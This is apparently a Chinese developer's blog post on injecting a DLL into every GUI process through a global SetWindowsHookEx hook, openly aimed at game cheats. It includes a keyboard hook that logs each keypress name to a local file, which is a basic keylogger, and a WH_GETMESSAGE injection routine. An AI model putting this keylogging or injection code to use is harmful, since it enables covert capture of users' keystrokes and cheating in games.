目标:希望能将DLL注入所有的GUI中,当特定的GUI被激活的时候,DLL中的对话框资源显示
这个东西能用在外挂这块,游戏中挂上自己的框框,相当滴爽。
实现:引擎调用DLL中的注入函数,这样全局注入的时候,相当滴好做。曾试过在EXE模块中实现全局钩子,钩子中的很多变量不能相互传递,达不到全局钩子的那种效果。如:
HHOOK g_hHook;
HINSTANCE g_hinstDll;
LRESULT WINAPI KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char temp[30];
if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))
{
FILE * pFile = fopen("g://KeyRecord.txt","at");
char szKey[80];
::GetKeyNameText(lParam, szKey, 80);
sprintf(szKey,"用户按键:%s /r/n",szKey);
fprintf(pFile,szKey);
}
return(CallNextHookEx( g_hHook, nCode, wParam, lParam ));
}
BOOL InstallHook()//输出安装空的钩子函数
{
g_hinstDll=LoadLibrary("Dll2.dll");
g_hHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,g_hinstDll,0);//
if (!g_hHook)
{
MessageBoxA(NULL,"SET ERROR","ERROR",MB_OK);
return(false);
}
return(true);
}
BOOL UninstallHook()//输出御在钩子函数
{
return(UnhookWindowsHookEx(g_hHook));
}
我试过这样在EXE中添加代码,
在DLL2中简直不知道怎么写。呵呵!
最后实行成这种方式:
DLL中:
LRESULT CALLBACK MsgProc(
int code, // hook code
WPARAM wParam,
LPARAM lParam // keystroke-message information
)
{
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
void SetHook()
{
g_hKeyboard=SetWindowsHookEx(WH_GETMESSAGE,MsgProc,GetModuleHandle("Hook"),0);
}
EXE中这样调用:
HINSTANCE hmod;
hmod=::GetModuleHandle("hook");
if(hmod==NULL)
{
hmod = ::LoadLibrary("hook.dll");
//AfxMessageBox("Fail");
}
//TESTDLL lpproc;
typedef void (*pHook)();
pHook pproc=(pHook)GetProcAddress(hmod,"SetHook");
pproc();
很OK滴。
但我在试DLL时候,忘记了一句SetWindowsHookEx(WH_GETMESSAGE,MsgProc,GetModuleHandle("Hook"),0);
GetModuleHandle("Hook")在更改DLL名字的时候忘记改了,搞了一个下午加一个晚上,我还纳闷为什么只有叫HOOK.DLL才有效。
昨天也许是状态不好,碰到这种事情就应该放在一边,浪费那么长时间。哎!发觉自己状态一直不是怎么好。